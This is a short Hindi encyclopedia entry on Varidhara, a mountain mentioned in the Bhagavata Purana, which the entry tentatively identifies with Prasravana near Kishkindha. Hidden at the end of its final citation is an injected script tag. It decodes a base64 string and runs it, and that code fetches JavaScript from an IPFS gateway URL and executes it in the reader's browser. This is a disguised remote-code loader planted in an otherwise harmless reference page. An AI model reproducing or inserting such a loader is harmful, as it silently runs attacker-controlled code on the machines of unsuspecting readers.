वारिधार

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वारिधार नामक एक पर्वत का उल्लेख श्रीमद्भागवत पुराण[1] में हुआ है-

'श्रीशैलोवेंकटो महेन्द्रो वारिधारो विंध्यः।'

  • उपरोक्त संदर्भ से यह दक्षिण भारत का कोई पर्वत जान पड़ता है।
  • संभव है कि यह रामायण कालीन प्रसिद्ध नगरी किष्किंधा का 'प्रस्रवण' या 'प्रवर्षणगिरि' हो, क्योंकि वारिधार और प्रस्रवण[2] समानार्थक जान पड़ते हैं।[3]


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टीका टिप्पणी और संदर्भ

  1. श्रीमद्भागवत 5, 19, 16
  2. =प्रवर्षण
  3. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 845 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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